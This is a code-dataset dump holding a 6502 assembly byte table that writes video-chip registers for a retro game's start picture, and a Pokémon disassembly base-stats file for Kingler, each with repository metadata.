asm
Assembly
StartPicture/_code/GlobalCode/odd_code.asm
kosmonautdnb/TheLandsOfZador
66c9e8ab92f617838afe793a6c9ddaaf7273aadc
[ "MIT" ]
null
null
null
StartPicture/_code/GlobalCode/odd_code.asm
kosmonautdnb/TheLandsOfZador
66c9e8ab92f617838afe793a6c9ddaaf7273aadc
[ "MIT" ]
null
null
null
StartPicture/_code/GlobalCode/odd_code.asm
kosmonautdnb/TheLandsOfZador
66c9e8ab92f617838afe793a6c9ddaaf7273aadc
[ "MIT" ]
null
null
null
ORG $A000 dc.b $A9,$08,$8D,$12,$FF,$A9,$60,$8D,$14,$FF,$A9,$3B,$8D,$06,$FF,$A9 dc.b $12,$8D,$07,$FF,$A9,$38,$8D,$16,$FF,$A9,$12,$8D,$15,$FF,$EA,$A9 dc.b $48,$8D,$16,$FF,$A9,$12,$8D,$07,$FF,$A9,$68,$8D,$14,$FF,$A9,$3D dc.b $8D,$06,$FF,$A9,$10,$8D,$07,$FF,$A9,$48,$8D,$16,$FF,$A9,$12,$8D dc.b $15,$FF,$EA,$A9,$48,$8D,$16,$FF,$A9,$10,$8D,$07,$FF,$A9,$70,$8D dc.b $14,$FF,$A9,$3F,$8D,$06,$FF,$A9,$16,$8D,$07,$FF,$A9,$48,$8D,$16 dc.b $FF,$A9,$12,$8D,$15,$FF,$EA,$A9,$48,$8D,$16,$FF,$A9,$16,$8D,$07 dc.b $FF,$A9,$78,$8D,$14,$FF,$A9,$39,$8D,$06,$FF,$A9,$16,$8D,$07,$FF dc.b $A9,$02,$8D,$16,$FF,$A9,$48,$8D,$15,$FF,$EA,$A9,$12,$8D,$16,$FF dc.b $A9,$16,$8D,$07,$FF,$A9,$60,$8D,$14,$FF,$A9,$3B,$8D,$06,$FF,$A9 dc.b $14,$8D,$07,$FF,$A9,$48,$8D,$16,$FF,$A9,$32,$8D,$15,$FF,$EA,$A9 dc.b $48,$8D,$16,$FF,$A9,$12,$8D,$07,$FF,$A9,$68,$8D,$14,$FF,$A9,$3D dc.b $8D,$06,$FF,$A9,$14,$8D,$07,$FF,$A9,$32,$8D,$16,$FF,$A9,$48,$8D dc.b $15,$FF,$EA,$A9,$32,$8D,$16,$FF,$A9,$14,$8D,$07,$FF,$A9,$70,$8D dc.b $14,$FF,$A9,$3F,$8D,$06,$FF,$A9,$10,$8D,$07,$FF,$A9,$02,$8D,$16 dc.b $FF,$A9,$48,$8D,$15,$FF,$EA,$A9,$12,$8D,$16,$FF,$A9,$10,$8D,$07 dc.b $FF,$A9,$78,$8D,$14,$FF,$A9,$39,$8D,$06,$FF,$A9,$14,$8D,$07,$FF dc.b $A9,$00,$8D,$16,$FF,$A9,$32,$8D,$15,$FF,$EA,$A9,$48,$8D,$16,$FF dc.b $A9,$16,$8D,$07,$FF,$A9,$60,$8D,$14,$FF,$A9,$3B,$8D,$06,$FF,$A9 dc.b $12,$8D,$07,$FF,$A9,$48,$8D,$16,$FF,$A9,$02,$8D,$15,$FF,$EA,$A9 dc.b $48,$8D,$16,$FF,$A9,$10,$8D,$07,$FF,$A9,$68,$8D,$14,$FF,$A9,$3D dc.b $8D,$06,$FF,$A9,$16,$8D,$07,$FF,$A9,$69,$8D,$16,$FF,$A9,$12,$8D dc.b $15,$FF,$EA,$A9,$68,$8D,$16,$FF,$A9,$22,$8D,$15,$FF,$A9,$70,$8D dc.b $14,$FF,$A9,$3F,$8D,$06,$FF,$A9,$16,$8D,$07,$FF,$A9,$69,$8D,$16 dc.b $FF,$A9,$38,$8D,$15,$FF,$EA,$A9,$68,$8D,$16,$FF,$A9,$16,$8D,$07 dc.b $FF,$A9,$78,$8D,$14,$FF,$A9,$39,$8D,$06,$FF,$A9,$10,$8D,$07,$FF dc.b $A9,$00,$8D,$16,$FF,$A9,$48,$8D,$15,$FF,$EA,$A9,$58,$8D,$16,$FF dc.b $A9,$10,$8D,$07,$FF,$A9,$60,$8D,$14,$FF,$A9,$3B,$8D,$06,$FF,$A9 dc.b $10,$8D,$07,$FF,$A9,$48,$8D,$16,$FF,$A9,$02,$8D,$15,$FF,$EA,$A9 dc.b $42,$8D,$16,$FF,$A9,$10,$8D,$07,$FF,$A9,$68,$8D,$14,$FF,$A9,$3D dc.b $8D,$06,$FF,$A9,$14,$8D,$07,$FF,$A9,$69,$8D,$16,$FF,$A9,$32,$8D dc.b $15,$FF,$EA,$A9,$68,$8D,$16,$FF,$A9,$14,$8D,$07,$FF,$A9,$70,$8D dc.b $14,$FF,$A9,$3F,$8D,$06,$FF,$A9,$16,$8D,$07,$FF,$A9,$58,$8D,$16 dc.b $FF,$A9,$32,$8D,$15,$FF,$EA,$A9,$68,$8D,$16,$FF,$A9,$16,$8D,$07 dc.b $FF,$A9,$78,$8D,$14,$FF,$A9,$39,$8D,$06,$FF,$A9,$16,$8D,$07,$FF dc.b $A9,$42,$8D,$16,$FF,$A9,$69,$8D,$15,$FF,$EA,$A9,$42,$8D,$16,$FF dc.b $A9,$16,$8D,$07,$FF,$A9,$60,$8D,$14,$FF,$A9,$3B,$8D,$06,$FF,$A9 dc.b $16,$8D,$07,$FF,$A9,$08,$8D,$16,$FF,$A9,$32,$8D,$15,$FF,$EA,$A9 dc.b $02,$8D,$16,$FF,$A9,$16,$8D,$07,$FF,$A9,$68,$8D,$14,$FF,$A9,$3D dc.b $8D,$06,$FF,$A9,$16,$8D,$07,$FF,$A9,$32,$8D,$16,$FF,$A9,$08,$8D dc.b $15,$FF,$EA,$A9,$32,$8D,$16,$FF,$A9,$16,$8D,$07,$FF,$A9,$70,$8D dc.b $14,$FF,$A9,$3F,$8D,$06,$FF,$A9,$10,$8D,$07,$FF,$A9,$00,$8D,$16 dc.b $FF,$A9,$32,$8D,$15,$FF,$EA,$A9,$48,$8D,$16,$FF,$A9,$10,$8D,$07 dc.b $FF,$A9,$78,$8D,$14,$FF,$A9,$39,$8D,$06,$FF,$A9,$16,$8D,$07,$FF dc.b $A9,$08,$8D,$16,$FF,$A9,$58,$8D,$15,$FF,$EA,$A9,$09,$8D,$16,$FF dc.b $A9,$16,$8D,$07,$FF,$A9,$60,$8D,$14,$FF,$A9,$3B,$8D,$06,$FF,$A9 dc.b $14,$8D,$07,$FF,$A9,$08,$8D,$16,$FF,$A9,$48,$8D,$15,$FF,$EA,$A9 dc.b $22,$8D,$16,$FF,$A9,$16,$8D,$07,$FF,$A9,$68,$8D,$14,$FF,$A9,$3D dc.b $8D,$06,$FF,$A9,$10,$8D,$07,$FF,$A9,$00,$8D,$16,$FF,$A9,$48,$8D dc.b $15,$FF,$EA,$A9,$58,$8D,$16,$FF,$A9,$10,$8D,$07,$FF,$A9,$70,$8D dc.b $14,$FF,$A9,$3F,$8D,$06,$FF,$A9,$16,$8D,$07,$FF,$A9,$69,$8D,$16 dc.b $FF,$A9,$48,$8D,$15,$FF,$EA,$A9,$79,$8D,$16,$FF,$A9,$16,$8D,$07 dc.b $FF,$A9,$78,$8D,$14,$FF,$A9,$39,$8D,$06,$FF,$A9,$12,$8D,$07,$FF dc.b $A9,$7A,$8D,$16,$FF,$A9,$48,$8D,$15,$FF,$EA,$A9,$71,$8D,$16,$FF dc.b $A9,$12,$8D,$07,$FF,$A9,$60,$8D,$14,$FF,$A9,$3B,$8D,$06,$FF,$A9 dc.b $10,$8D,$07,$FF,$A9,$7A,$8D,$16,$FF,$A9,$48,$8D,$15,$FF,$EA,$A9 dc.b $79,$8D,$16,$FF,$A9,$12,$8D,$07,$FF,$A9,$68,$8D,$14,$FF,$A9,$3D dc.b $8D,$06,$FF,$A9,$10,$8D,$07,$FF,$A9,$69,$8D,$16,$FF,$A9,$48,$8D dc.b $15,$FF,$EA,$A9,$58,$8D,$16,$FF,$A9,$10,$8D,$07,$FF,$A9,$70,$8D dc.b $14,$FF,$A9,$3F,$8D,$06,$FF,$A9,$12,$8D,$07,$FF,$A9,$48,$8D,$16 dc.b $FF,$A9,$38,$8D,$15,$FF,$EA,$A9,$48,$8D,$16,$FF,$A9,$12,$8D,$07 dc.b $FF,$A9,$78,$8D,$14,$FF,$A9,$39,$8D,$06,$FF,$A9,$12,$8D,$07,$FF dc.b $A9,$12,$8D,$16,$FF,$A9,$48,$8D,$15,$FF,$EA,$A9,$32,$8D,$16,$FF dc.b $A9,$10,$8D,$07,$FF,$A9,$60,$8D,$14,$FF,$A9,$3B,$8D,$06,$FF,$A9 dc.b $12,$8D,$07,$FF,$A9,$38,$8D,$16,$FF,$A9,$58,$8D,$15,$FF,$EA,$A9 dc.b $32,$8D,$16,$FF,$A9,$12,$8D,$07,$FF,$A9,$68,$8D,$14,$FF,$A9,$3D dc.b $8D,$06,$FF,$A9,$16,$8D,$07,$FF,$A9,$58,$8D,$16,$FF,$A9,$48,$8D dc.b $15,$FF,$EA,$A9,$77,$8D,$16,$FF,$A9,$16,$8D,$07,$FF,$A9,$70,$8D dc.b $14,$FF,$A9,$3F,$8D,$06,$FF,$A9,$14,$8D,$07,$FF,$A9,$69,$8D,$16 dc.b $FF,$A9,$48,$8D,$15,$FF,$EA,$A9,$68,$8D,$16,$FF,$A9,$14,$8D,$07 dc.b $FF,$A9,$78,$8D,$14,$FF,$A9,$39,$8D,$06,$FF,$A9,$16,$8D,$07,$FF dc.b $A9,$48,$8D,$16,$FF,$A9,$69,$8D,$15,$FF,$EA,$A9,$48,$8D,$16,$FF dc.b $A9,$16,$8D,$07,$FF,$A9,$60,$8D,$14,$FF,$A9,$3B,$8D,$06,$FF,$A9 dc.b $14,$8D,$07,$FF,$A9,$69,$8D,$16,$FF,$A9,$48,$8D,$15,$FF,$EA,$A9 dc.b $68,$8D,$16,$FF,$A9,$14,$8D,$07,$FF,$A9,$68,$8D,$14,$FF,$A9,$3D dc.b $8D,$06,$FF,$A9,$12,$8D,$07,$FF,$A9,$32,$8D,$16,$FF,$A9,$69,$8D dc.b $15,$FF,$EA,$A9,$32,$8D,$16,$FF,$A9,$12,$8D,$07,$FF,$A9,$70,$8D dc.b $14,$FF,$A9,$3F,$8D,$06,$FF,$A9,$16,$8D,$07,$FF,$A9,$38,$8D,$16 dc.b $FF,$A9,$48,$8D,$15,$FF,$EA,$A9,$68,$8D,$16,$FF,$A9,$16,$8D,$07 dc.b $FF,$A9,$78,$8D,$14,$FF,$A9,$39,$8D,$06,$FF,$A9,$10,$8D,$07,$FF dc.b $A9,$48,$8D,$16,$FF,$A9,$38,$8D,$15,$FF,$EA,$A9,$48,$8D,$16,$FF dc.b $A9,$12,$8D,$07,$FF,$A9,$60,$8D,$14,$FF,$A9,$3B,$8D,$06,$FF,$A9 dc.b $14,$8D,$07,$FF,$A9,$69,$8D,$16,$FF,$A9,$48,$8D,$15,$FF,$EA,$A9 dc.b $68,$8D,$16,$FF,$A9,$14,$8D,$07,$FF,$A9,$68,$8D,$14,$FF,$A9,$3D dc.b $8D,$06,$FF,$A9,$16,$8D,$07,$FF,$A9,$69,$8D,$16,$FF,$A9,$48,$8D dc.b $15,$FF,$EA,$A9,$11,$8D,$16,$FF,$A9,$16,$8D,$07,$FF,$A9,$70,$8D dc.b $14,$FF,$A9,$3F,$8D,$06,$FF,$A9,$12,$8D,$07,$FF,$A9,$48,$8D,$16 dc.b $FF,$A9,$32,$8D,$15,$FF,$EA,$A9,$48,$8D,$16,$FF,$A9,$12,$8D,$07 dc.b $FF,$A9,$78,$8D,$14,$FF,$A9,$39,$8D,$06,$FF,$A9,$12,$8D,$07,$FF dc.b $A9,$48,$8D,$16,$FF,$A9,$32,$8D,$15,$FF,$EA,$A9,$48,$8D,$16,$FF dc.b $A9,$12,$8D,$07,$FF,$A9,$60,$8D,$14,$FF,$A9,$3B,$8D,$06,$FF,$A9 dc.b $10,$8D,$07,$FF,$A9,$69,$8D,$16,$FF,$A9,$48,$8D,$15,$FF,$EA,$A9 dc.b $68,$8D,$16,$FF,$A9,$10,$8D,$07,$FF,$A9,$68,$8D,$14,$FF,$A9,$3D dc.b $8D,$06,$FF,$A9,$10,$8D,$07,$FF,$A9,$48,$8D,$16,$FF,$A9,$32,$8D dc.b $15,$FF,$EA,$A9,$48,$8D,$16,$FF,$A9,$10,$8D,$07,$FF,$A9,$70,$8D dc.b $14,$FF,$A9,$3F,$8D,$06,$FF,$A9,$10,$8D,$07,$FF,$A9,$69,$8D,$16 dc.b $FF,$A9,$48,$8D,$15,$FF,$EA,$A9,$68,$8D,$16,$FF,$A9,$10,$8D,$07 dc.b $FF,$A9,$78,$8D,$14,$FF,$A9,$39,$8D,$06,$FF,$A9,$10,$8D,$07,$FF dc.b $A9,$22,$8D,$16,$FF,$A9,$48,$8D,$15,$FF,$EA,$A9,$32,$8D,$16,$FF dc.b $A9,$10,$8D,$07,$FF,$A9,$60,$8D,$14,$FF,$A9,$3B,$8D,$06,$FF,$A9 dc.b $10,$8D,$07,$FF,$A9,$58,$8D,$16,$FF,$A9,$48,$8D,$15,$FF,$EA,$A9 dc.b $32,$8D,$16,$FF,$A9,$12,$8D,$07,$FF,$A9,$68,$8D,$14,$FF,$A9,$3D dc.b $8D,$06,$FF,$A9,$12,$8D,$07,$FF,$A9,$48,$8D,$16,$FF,$A9,$38,$8D dc.b $15,$FF,$EA,$A9,$48,$8D,$16,$FF,$A9,$12,$8D,$07,$FF,$A9,$70,$8D dc.b $14,$FF,$A9,$3F,$8D,$06,$FF,$A9,$12,$8D,$07,$FF,$A9,$38,$8D,$16 dc.b $FF,$A9,$48,$8D,$15,$FF,$EA,$A9,$68,$8D,$16,$FF,$A9,$12,$8D,$07 dc.b $FF,$A9,$78,$8D,$14,$FF,$A9,$39,$8D,$06,$FF,$A9,$14,$8D,$07,$FF dc.b $A9,$00,$8D,$16,$FF,$A9,$48,$8D,$15,$FF,$EA,$A9,$32,$8D,$16,$FF dc.b $A9,$14,$8D,$07,$FF,$A9,$60,$8D,$14,$FF,$A9,$3B,$8D,$06,$FF,$A9 dc.b $10,$8D,$07,$FF,$A9,$48,$8D,$16,$FF,$A9,$22,$8D,$15,$FF,$EA,$A9 dc.b $48,$8D,$16,$FF,$A9,$12,$8D,$07,$FF,$A9,$68,$8D,$14,$FF,$A9,$3D dc.b $8D,$06,$FF,$A9,$10,$8D,$07,$FF,$A9,$38,$8D,$16,$FF,$A9,$48,$8D dc.b $15,$FF,$EA,$A9,$32,$8D,$16,$FF,$A9,$14,$8D,$07,$FF,$A9,$70,$8D dc.b $14,$FF,$A9,$3F,$8D,$06,$FF,$A9,$16,$8D,$07,$FF,$A9,$00,$8D,$16 dc.b $FF,$A9,$48,$8D,$15,$FF,$EA,$A9,$71,$8D,$16,$FF,$A9,$16,$8D,$07 dc.b $FF,$A9,$78,$8D,$14,$FF,$A9,$39,$8D,$06,$FF,$A9,$16,$8D,$07,$FF dc.b $A9,$00,$8D,$16,$FF,$A9,$48,$8D,$15,$FF,$EA,$A9,$68,$8D,$16,$FF dc.b $A9,$16,$8D,$07,$FF,$A9,$60,$8D,$14,$FF,$A9,$3B,$8D,$06,$FF,$A9 dc.b $14,$8D,$07,$FF,$A9,$32,$8D,$16,$FF,$A9,$48,$8D,$15,$FF,$EA,$A9 dc.b $32,$8D,$16,$FF,$A9,$14,$8D,$07,$FF,$A9,$68,$8D,$14,$FF,$A9,$3D dc.b $8D,$06,$FF,$A9,$12,$8D,$07,$FF,$A9,$08,$8D,$16,$FF,$A9,$58,$8D dc.b $15,$FF,$EA,$A9,$02,$8D,$16,$FF,$A9,$12,$8D,$07,$FF,$A9,$70,$8D dc.b $14,$FF,$A9,$3F,$8D,$06,$FF,$A9,$12,$8D,$07,$FF,$A9,$08,$8D,$16 dc.b $FF,$A9,$58,$8D,$15,$FF,$EA,$A9,$32,$8D,$16,$FF,$A9,$68,$8D,$15 dc.b $FF,$A9,$78,$8D,$14,$FF,$A9,$39,$8D,$06,$FF,$A9,$14,$8D,$07,$FF dc.b $A9,$58,$8D,$16,$FF,$A9,$09,$8D,$15,$FF,$EA,$A9,$58,$8D,$16,$FF dc.b $A9,$14,$8D,$07,$FF,$A9,$60,$8D,$14,$FF,$A9,$3B,$8D,$06,$FF,$A9 dc.b $14,$8D,$07,$FF,$A9,$48,$8D,$16,$FF,$A9,$09,$8D,$15,$FF,$EA,$A9 dc.b $48,$8D,$16,$FF,$A9,$14,$8D,$07,$FF,$A9,$68,$8D,$14,$FF,$A9,$3D dc.b $8D,$06,$FF,$A9,$12,$8D,$07,$FF,$A9,$48,$8D,$16,$FF,$A9,$32,$8D dc.b $15,$FF,$EA,$A9,$48,$8D,$16,$FF,$A9,$14,$8D,$07,$FF,$A9,$70,$8D dc.b $14,$FF,$A9,$3F,$8D,$06,$FF,$A9,$12,$8D,$07,$FF,$A9,$48,$8D,$16 dc.b $FF,$A9,$32,$8D,$15,$FF,$EA,$A9,$48,$8D,$16,$FF,$A9,$12,$8D,$07 dc.b $FF,$A9,$78,$8D,$14,$FF,$A9,$39,$8D,$06,$FF,$A9,$16,$8D,$07,$FF dc.b $A9,$08,$8D,$16,$FF,$A9,$48,$8D,$15,$FF,$EA,$A9,$22,$8D,$16,$FF dc.b $A9,$16,$8D,$07,$FF,$A9,$60,$8D,$14,$FF,$A9,$3B,$8D,$06,$FF,$A9 dc.b $14,$8D,$07,$FF,$A9,$38,$8D,$16,$FF,$A9,$00,$8D,$15,$FF,$EA,$A9 dc.b $38,$8D,$16,$FF,$A9,$14,$8D,$07,$FF,$A9,$68,$8D,$14,$FF,$A9,$3D dc.b $8D,$06,$FF,$A9,$14,$8D,$07,$FF,$A9,$08,$8D,$16,$FF,$A9,$48,$8D dc.b $15,$FF,$EA,$A9,$12,$8D,$16,$FF,$A9,$14,$8D,$07,$FF,$A9,$70,$8D dc.b $14,$FF,$A9,$3F,$8D,$06,$FF,$A9,$16,$8D,$07,$FF,$A9,$32,$8D,$16 dc.b $FF,$A9,$48,$8D,$15,$FF,$EA,$A9,$22,$8D,$16,$FF,$A9,$16,$8D,$07 dc.b $FF,$A9,$78,$8D,$14,$FF,$A9,$39,$8D,$06,$FF,$A9,$16,$8D,$07,$FF dc.b $A9,$48,$8D,$16,$FF,$A9,$00,$8D,$15,$FF,$EA,$A9,$48,$8D,$16,$FF dc.b $A9,$16,$8D,$07,$FF,$A9,$60,$8D,$14,$FF,$A9,$3B,$8D,$06,$FF,$A9 dc.b $14,$8D,$07,$FF,$A9,$48,$8D,$16,$FF,$A9,$22,$8D,$15,$FF,$EA,$A9 dc.b $48,$8D,$16,$FF,$A9,$14,$8D,$07,$FF,$A9,$68,$8D,$14,$FF,$A9,$3D dc.b $8D,$06,$FF,$A9,$16,$8D,$07,$FF,$A9,$38,$8D,$16,$FF,$A9,$00,$8D dc.b $15,$FF,$EA,$A9,$38,$8D,$16,$FF,$A9,$16,$8D,$07,$FF,$A9,$70,$8D dc.b $14,$FF,$A9,$3F,$8D,$06,$FF,$A9,$10,$8D,$07,$FF,$A9,$48,$8D,$16 dc.b $FF,$A9,$00,$8D,$15,$FF,$EA,$A9,$48,$8D,$16,$FF,$A9,$10,$8D,$07 dc.b $FF,$A9,$78,$8D,$14,$FF,$A9,$39,$8D,$06,$FF,$A9,$16,$8D,$07,$FF dc.b $A9,$00,$8D,$16,$FF,$A9,$48,$8D,$15,$FF,$EA,$A9,$00,$8D,$16,$FF dc.b $A9,$16,$8D,$07,$FF,$A9,$60,$8D,$14,$FF,$A9,$3B,$8D,$06,$FF,$A9 dc.b $12,$8D,$07,$FF,$A9,$00,$8D,$16,$FF,$A9,$22,$8D,$15,$FF,$EA,$A9 dc.b $00,$8D,$16,$FF,$A9,$12,$8D,$07,$FF,$A9,$68,$8D,$14,$FF,$A9,$3D dc.b $8D,$06,$FF,$A9,$16,$8D,$07,$FF,$A9,$38,$8D,$16,$FF,$A9,$00,$8D dc.b $15,$FF,$EA,$A9,$48,$8D,$16,$FF,$A9,$16,$8D,$07,$FF,$A9,$70,$8D dc.b $14,$FF,$A9,$3F,$8D,$06,$FF,$A9,$12,$8D,$07,$FF,$A9,$38,$8D,$16 dc.b $FF,$A9,$48,$8D,$15,$FF,$EA,$A9,$22,$8D,$16,$FF,$A9,$12,$8D,$07 dc.b $FF,$A9,$78,$8D,$14,$FF,$A9,$39,$8D,$06,$FF,$A9,$16,$8D,$07,$FF dc.b $A9,$58,$8D,$16,$FF,$A9,$22,$8D,$15,$FF,$EA,$A9,$58,$8D,$16,$FF dc.b $A9,$16,$8D,$07,$FF,$A9,$60,$8D,$14,$FF,$A9,$3B,$8D,$06,$FF,$A9 dc.b $12,$8D,$07,$FF,$A9,$08,$8D,$16,$FF,$A9,$48,$8D,$15,$FF,$EA,$A9 dc.b $09,$8D,$16,$FF,$A9,$32,$8D,$15,$FF,$A9,$68,$8D,$14,$FF,$A9,$3D dc.b $8D,$06,$FF,$A9,$14,$8D,$07,$FF,$A9,$22,$8D,$16,$FF,$A9,$09,$8D dc.b $15,$FF,$EA,$A9,$22,$8D,$16,$FF,$A9,$14,$8D,$07,$FF,$A9,$70,$8D dc.b $14,$FF,$A9,$3F,$8D,$06,$FF,$A9,$12,$8D,$07,$FF,$A9,$48,$8D,$16 dc.b $FF,$A9,$09,$8D,$15,$FF,$EA,$A9,$48,$8D,$16,$FF,$A9,$12,$8D,$07 dc.b $FF,$A9,$78,$8D,$14,$FF,$A9,$39,$8D,$06,$FF,$A9,$14,$8D,$07,$FF dc.b $A9,$00,$8D,$16,$FF,$A9,$48,$8D,$15,$FF,$EA,$A9,$32,$8D,$16,$FF dc.b $A9,$14,$8D,$07,$FF,$A9,$60,$8D,$14,$FF,$A9,$3B,$8D,$06,$FF,$A9 dc.b $14,$8D,$07,$FF,$A9,$48,$8D,$16,$FF,$A9,$00,$8D,$15,$FF,$EA,$A9 dc.b $48,$8D,$16,$FF,$A9,$12,$8D,$07,$FF,$A9,$68,$8D,$14,$FF,$A9,$3D dc.b $8D,$06,$FF,$A9,$12,$8D,$07,$FF,$A9,$48,$8D,$16,$FF,$A9,$09,$8D dc.b $15,$FF,$EA,$A9,$48,$8D,$16,$FF,$A9,$12,$8D,$07,$FF,$A9,$70,$8D dc.b $14,$FF,$A9,$3F,$8D,$06,$FF,$A9,$14,$8D,$07,$FF,$A9,$38,$8D,$16 dc.b $FF,$A9,$48,$8D,$15,$FF,$EA,$A9,$32,$8D,$16,$FF,$A9,$14,$8D,$07 dc.b $FF,$A9,$78,$8D,$14,$FF,$A9,$39,$8D,$06,$FF,$A9,$16,$8D,$07,$FF dc.b $A9,$00,$8D,$16,$FF,$A9,$48,$8D,$15,$FF,$EA,$A9,$00,$8D,$16,$FF dc.b $A9,$16,$8D,$07,$FF,$A9,$60,$8D,$14,$FF,$A9,$3B,$8D,$06,$FF,$A9 dc.b $14,$8D,$07,$FF,$A9,$38,$8D,$16,$FF,$A9,$48,$8D,$15,$FF,$EA,$A9 dc.b $38,$8D,$16,$FF,$A9,$12,$8D,$07,$FF,$A9,$68,$8D,$14,$FF,$A9,$3D dc.b $8D,$06,$FF,$A9,$14,$8D,$07,$FF,$A9,$02,$8D,$16,$FF,$A9,$58,$8D dc.b $15,$FF,$EA,$A9,$12,$8D,$16,$FF,$A9,$14,$8D,$07,$FF,$A9,$70,$8D dc.b $14,$FF,$A9,$3F,$8D,$06,$FF,$A9,$16,$8D,$07,$FF,$A9,$58,$8D,$16 dc.b $FF,$A9,$00,$8D,$15,$FF,$EA,$A9,$68,$8D,$16,$FF,$A9,$16,$8D,$07 dc.b $FF,$A9,$78,$8D,$14,$FF,$A9,$39,$8D,$06,$FF,$A9,$16,$8D,$07,$FF dc.b $A9,$58,$8D,$16,$FF,$A9,$32,$8D,$15,$FF,$EA,$A9,$38,$8D,$16,$FF dc.b $A9,$68,$8D,$15,$FF,$A9,$60,$8D,$14,$FF,$A9,$3B,$8D,$06,$FF,$A9 dc.b $16,$8D,$07,$FF,$A9,$09,$8D,$16,$FF,$A9,$58,$8D,$15,$FF,$EA,$A9 dc.b $08,$8D,$16,$FF,$A9,$16,$8D,$07,$FF,$A9,$68,$8D,$14,$FF,$A9,$3D dc.b $8D,$06,$FF,$A9,$16,$8D,$07,$FF,$A9,$58,$8D,$16,$FF,$A9,$42,$8D dc.b $15,$FF,$EA,$A9,$58,$8D,$16,$FF,$A9,$16,$8D,$07,$FF,$A9,$70,$8D dc.b $14,$FF,$A9,$3F,$8D,$06,$FF,$A9,$10,$8D,$07,$FF,$A9,$48,$8D,$16 dc.b $FF,$A9,$00,$8D,$15,$FF,$EA,$A9,$48,$8D,$16,$FF,$A9,$10,$8D,$07 dc.b $FF,$A9,$78,$8D,$14,$FF,$A9,$39,$8D,$06,$FF,$A9,$16,$8D,$07,$FF dc.b $A9,$38,$8D,$16,$FF,$A9,$00,$8D,$15,$FF,$EA,$A9,$38,$8D,$16,$FF dc.b $A9,$16,$8D,$07,$FF,$A9,$60,$8D,$14,$FF,$A9,$3B,$8D,$06,$FF,$A9 dc.b $14,$8D,$07,$FF,$A9,$00,$8D,$16,$FF,$A9,$48,$8D,$15,$FF,$EA,$A9 dc.b $00,$8D,$16,$FF,$A9,$14,$8D,$07,$FF,$A9,$68,$8D,$14,$FF,$A9,$3D dc.b $8D,$06,$FF,$A9,$12,$8D,$07,$FF,$A9,$28,$8D,$16,$FF,$A9,$09,$8D dc.b $15,$FF,$EA,$A9,$32,$8D,$16,$FF,$A9,$12,$8D,$07,$FF,$A9,$70,$8D dc.b $14,$FF,$A9,$3F,$8D,$06,$FF,$A9,$12,$8D,$07,$FF,$A9,$09,$8D,$16 dc.b $FF,$A9,$38,$8D,$15,$FF,$EA,$A9,$09,$8D,$16,$FF,$A9,$12,$8D,$07 dc.b $FF,$A9,$78,$8D,$14,$FF,$A9,$39,$8D,$06,$FF,$A9,$12,$8D,$07,$FF dc.b $A9,$38,$8D,$16,$FF,$A9,$09,$8D,$15,$FF,$EA,$A9,$12,$8D,$16,$FF dc.b $A9,$12,$8D,$07,$FF,$A9,$60,$8D,$14,$FF,$A9,$3B,$8D,$06,$FF,$A9 dc.b $10,$8D,$07,$FF,$A9,$38,$8D,$16,$FF,$A9,$00,$8D,$15,$FF,$EA,$A9 dc.b $32,$8D,$16,$FF,$A9,$10,$8D,$07,$FF,$A9,$68,$8D,$14,$FF,$A9,$3D dc.b $8D,$06,$FF,$A9,$16,$8D,$07,$FF,$A9,$28,$8D,$16,$FF,$A9,$00,$8D dc.b $15,$FF,$EA,$A9,$01,$8D,$16,$FF,$A9,$12,$8D,$07,$FF,$A9,$70,$8D dc.b $14,$FF,$A9,$3F,$8D,$06,$FF,$A9,$16,$8D,$07,$FF,$A9,$09,$8D,$16 dc.b $FF,$A9,$00,$8D,$15,$FF,$EA,$A9,$01,$8D,$16,$FF,$A9,$16,$8D,$07 dc.b $FF,$A9,$78,$8D,$14,$FF,$A9,$39,$8D,$06,$FF,$A9,$16,$8D,$07,$FF dc.b $A9,$28,$8D,$16,$FF,$A9,$00,$8D,$15,$FF,$EA,$A9,$11,$8D,$16,$FF dc.b $A9,$16,$8D,$07,$FF,$A9,$60,$8D,$14,$FF,$A9,$3B,$8D,$06,$FF,$A9 dc.b $14,$8D,$07,$FF,$A9,$09,$8D,$16,$FF,$A9,$00,$8D,$15,$FF,$EA,$A9 dc.b $09,$8D,$16,$FF,$A9,$12,$8D,$07,$FF,$A9,$68,$8D,$14,$FF,$A9,$3D dc.b $8D,$06,$FF,$A9,$10,$8D,$07,$FF,$A9,$22,$8D,$16,$FF,$A9,$09,$8D dc.b $15,$FF,$EA,$A9,$12,$8D,$16,$FF,$A9,$12,$8D,$07,$FF,$A9,$70,$8D dc.b $14,$FF,$A9,$3F,$8D,$06,$FF,$A9,$12,$8D,$07,$FF,$A9,$00,$8D,$16 dc.b $FF,$A9,$22,$8D,$15,$FF,$EA,$A9,$00,$8D,$16,$FF,$A9,$10,$8D,$07 dc.b $FF,$A9,$78,$8D,$14,$FF,$A9,$39,$8D,$06,$FF,$A9,$10,$8D,$07,$FF dc.b $A9,$00,$8D,$16,$FF,$A9,$32,$8D,$15,$FF,$EA,$A9,$00,$8D,$16,$FF dc.b $A9,$10,$8D,$07,$FF,$60
69.258772
69
0.500095
8708d5cfb8282f391c28aa0db2d2d39057916779
538
asm
Assembly
data/baseStats/kingler.asm
AmateurPanda92/pokemon-rby-dx
f7ba1cc50b22d93ed176571e074a52d73360da93
[ "MIT" ]
9
2020-07-12T19:44:21.000Z
2022-03-03T23:32:40.000Z
data/baseStats/kingler.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
7
2020-07-16T10:48:52.000Z
2021-01-28T18:32:02.000Z
data/baseStats/kingler.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
2
2021-03-28T18:33:43.000Z
2021-05-06T13:12:09.000Z
db DEX_KINGLER ; pokedex id db 55 ; base hp db 130 ; base attack db 115 ; base defense db 75 ; base speed db 50 ; base special db WATER ; species type 1 db WATER ; species type 2 db 60 ; catch rate db 206 ; base exp yield INCBIN "pic/bmon/kingler.pic",0,1 ; 77, sprite dimensions dw KinglerPicFront dw KinglerPicBack ; attacks known at lvl 0 db BUBBLE db LEER db VICEGRIP db 0 db 0 ; growth rate ; learnset tmlearn 3,6,8 tmlearn 9,10,11,12,13,14,15 tmlearn 20 tmlearn 31,32 tmlearn 34 tmlearn 44 tmlearn 50,51,53,54 db 0 ; padding
18.551724
57
0.732342
4b8b15515de7f1737f60115a8a330153b304a71e
7,255
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xa0.log_21829_1928.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
